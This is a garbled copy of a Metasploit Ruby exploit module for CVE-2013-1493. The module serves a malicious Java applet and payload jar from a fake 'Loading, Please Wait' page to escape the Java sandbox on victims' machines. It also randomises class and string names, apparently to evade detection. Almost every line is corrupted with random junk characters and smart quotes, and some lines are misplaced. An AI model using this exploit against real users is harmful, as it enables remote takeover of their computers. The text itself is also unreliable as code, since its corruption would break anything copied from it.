##7 R6 K* O Q8 v2 ]/ n- [
; C# }9 g' j& x8 N
# This file is part of the Metasploit Framework and may be subject to
& i. F# F4 F8 Q& X! O# redistribution and commercial restrictions. Please see the Metasploit
$ j1 [: n2 z! l9 W. s0 \4 p# web site for more information on licensing and terms of use.
' T8 v1 S$ U- W& r9 A% h3 ~# http://metasploit.com/
" e4 w' ^5 Y7 f* \( m' y8 y##4 M, s0 E9 s0 z- W
require ‘msf/core’
5 k0 N8 X2 V* \' B; U) brequire ‘rex’
* w# S0 }, F. i4 p6 vclass Metasploit3 < Msf::Exploit::Remote: f" \/ A. t/ _$ ~& T$ o# E9 `
Rank = NormalRanking0 x* I/ p( v$ P. S- v
include Msf::Exploit::Remote::HttpServer::HTML7 `! E' G% H; k# X6 l
include Msf::Exploit::EXE8 v s u- l- { F
include Msf::Exploit::Remote::BrowserAutopwn
/ E4 @& q$ e# r+ Jautopwn_info({ :javascript => false })
# a: {2 g3 E1 G* L. tdef initialize( info = {} )% t; F9 O. f, a. ]+ h2 Q
super( update_info( info,5 P# [( J( L# f+ L! O7 c0 O
‘Name’ => ‘Java CMM Remote Code Execution’,. q6 c7 R$ m! g- r) a" o
‘Description’ => %q{
8 o) Q% r6 }$ S! cThis module abuses the Color Management classes from a Java Applet to run& }( V4 p1 g$ R7 t& y7 O& ~, k
arbitrary Java code outside of the sandbox as exploited in the wild in February
- x& ?. w+ P. z5 V6 hand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41% i/ ^+ |/ y/ C6 e0 h( ]5 d
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1! j9 `) f0 ] B- e s
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java! u+ M+ q- @' m- F, t
warning in order to run the malicious applet.
5 Z+ i2 P$ e( m1 s1 y},1 J0 D( {1 p! G$ S
‘License’ => MSF_LICENSE,$ y' i2 {4 ^% R& \
‘Author’ =>' i3 O& y d! X; A& ^: R
'Unknown', # Vulnerability discovery and Exploit
; t5 f" L' S1 O6 A Z'juan vazquez' # Metasploit module (just ported the published exploit)& P5 {& m1 @" u: b8 m6 F+ T% \
],; }1 X1 R& g$ u. G1 n2 ?' ?3 w' _
‘References’ =>! b) N; n2 W4 o0 O: X& Q+ k
[/ g$ y& P, D ?/ @/ P
[ 'CVE', '2013-1493' ],
1 x+ }% |9 q8 a' T! V! @0 P m; w[ 'OSVDB', '90737' ],
. B6 P# z1 M. b9 X; d, w) F[ 'BID', '58238' ],
, Q9 {5 T( M' E9 b* G[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
; d6 R1 v) S$ i4 W( N& z0 |. f8 Y[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],( M- M8 X. T5 K
[ 'URL', 'http://pastie.org/pastes/6581034' ]
% a3 _% v/ ^5 i( q8 _],
* I* H$ T J4 B0 h) e' B8 j& F‘Platform’ => [ 'win', 'java' ],
$ } A0 O- `/ W. A' m' ?$ }‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },) F% c. N% ]2 W O" ^4 z
‘Targets’ =>
$ {1 m7 z5 y. o8 G0 t[
. l0 O- Y+ d, @6 O7 d[ 'Generic (Java Payload)',
# E' Q9 D* \9 z4 Z* @{& x u) t2 G( m7 F: r5 v" J
'Platform' => 'java',6 ^5 T( S7 }$ C0 F
'Arch' => ARCH_JAVA% g4 B0 _$ H2 A- n
}
; i" Y% {' @. N3 H; t' Y],1 k& d; M- h* O+ F( i
[ 'Windows x86 (Native Payload)',4 J2 F& o4 Z0 w7 D
{2 U( p1 e1 X7 c; {& `
'Platform' => 'win',
6 P& R4 H3 t: k7 w, z+ \1 B7 g'Arch' => ARCH_X867 ]2 ~1 p' ?( d% l" i9 ]
}! s3 g s6 X; I" K# j" J, A
] V5 W g7 G. e& M1 e- [
],
; N* ~1 R4 D9 D" d+ n‘‘DisclosureDate’ => ‘Mar 01 2013′6 g" w) _1 e: [- I$ V! i& c
))
- F( M3 q" t' E; I1 Eend
[# k# w' h, h! `. y: N" Vdef setup
0 L! T1 v/ a/ V- [path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)! o: G+ D0 t2 d8 Q+ O& B( Y
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }/ z! S. ~/ @7 Z5 c
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)% r1 n; t" o) A z0 P6 a
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 t# H$ }/ N1 e$ ^! w0 w
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)2 f' M" y! I0 x( G5 ~
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }' L6 y8 O" @: Z. A+ ~
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)+ y1 {8 m p# S3 M+ I$ l
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
) t3 I" \; }1 x% p+ S. A' l@init_class_name = rand_text_alpha(“Init”.length)
8 c3 v( m. k. F2 K@init_class.gsub!(“Init”, @init_class_name)
- C& i/ I% R) Nsuper/ P# H- g1 W* ~- d
end" F- G4 I3 ^' F- @6 Q
def on_request_uri(cli, request)# c* Y8 z, e7 H" s, J
print_status(“handling request for #{request.uri}”), i' C* p3 ^0 W; X/ f% p
case request.uri6 Z) @$ `- E; l
when /\.jar$/i" m4 Y8 Y' e' `
jar = payload.encoded_jar
$ G; i5 V0 I& N% r- t. ojar.add_file(“#{@init_class_name}.class”, @init_class) _1 R% L* U( N* c3 m3 M% P4 ^% {- p
jar.add_file(“Leak.class”, @leak_class)
. S: N) F1 B7 \; ]5 W2 j2 m' |0 Sjar.add_file(“MyBufferedImage.class”, @buffered_image_class)+ H# X8 c8 i3 p3 r5 j$ u- @
jar.add_file(“MyColorSpace.class”, @color_space_class)
# `8 m) n" y) o; _/ IDefaultTarget’ => 1,: R. w+ ]! z ^
metasploit_str = rand_text_alpha(“metasploit”.length)
3 s, t$ i1 k+ S Bpayload_str = rand_text_alpha(“payload”.length)
- m+ b& Q9 `; e( X6 v6 a9 r0 qjar.entries.each { |entry| o/ i; ?& p; v# K
entry.name.gsub!(“metasploit”, metasploit_str)# a$ z; }; W" Y) J
entry.name.gsub!(“Payload”, payload_str)$ |- G, D% k0 d4 ]
entry.data = entry.data.gsub(“metasploit”, metasploit_str), K5 M4 r- W! u& C' x. T
entry.data = entry.data.gsub(“Payload”, payload_str)4 t$ M0 g% U* A% I
}0 t8 s w5 |4 W. d
jar.build_manifest. v V U9 b+ t' y, b5 ~
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
/ @" |' i/ L; Q, }" N Iwhen /\/$/
[" u b( B) Apayload = regenerate_payload(cli)
% G" F) e2 E7 j1 v' i. Q2 F+ rif not payload+ i5 d& {# k$ l
print_error(“Failed to generate the payload.”)% {5 o- W$ T$ j
send_not_found(cli)
, `5 f* @4 T6 K3 O3 |return. e/ u. u8 a) A0 {- \
end/ d& b: W, Q7 ~4 M( A0 ?. B/ O
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
- l3 S/ m! R/ W9 b/ |else/ \+ K" M) k( |- _1 w
send_redirect(cli, get_resource() + ‘/’, ”)
. |! Q- L& Z9 ?; T! @end
4 C) a/ h" w, C" Z' q0 _end
4 j* e2 I% Q% O. u. s: Ddef generate_html' t% S' Y: s) o4 C) {5 z6 d
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
, C% P- ^9 @( q; u( t' ^. Vhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
) g# n$ Q0 J* r( a1 }$ ]html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|# {! v1 Q' y$ }( W
html += %Q|</applet></body></html>|; O: F0 h6 N8 h% F7 {+ x
return html
/ `" h8 q+ |5 R" q x& Gend
. H5 t% x- C* l0 W, hend3 J5 X v7 Y" _5 o d7 O3 V" h; Y
end5 o4 w! M* R3 {+ _1 h% \
|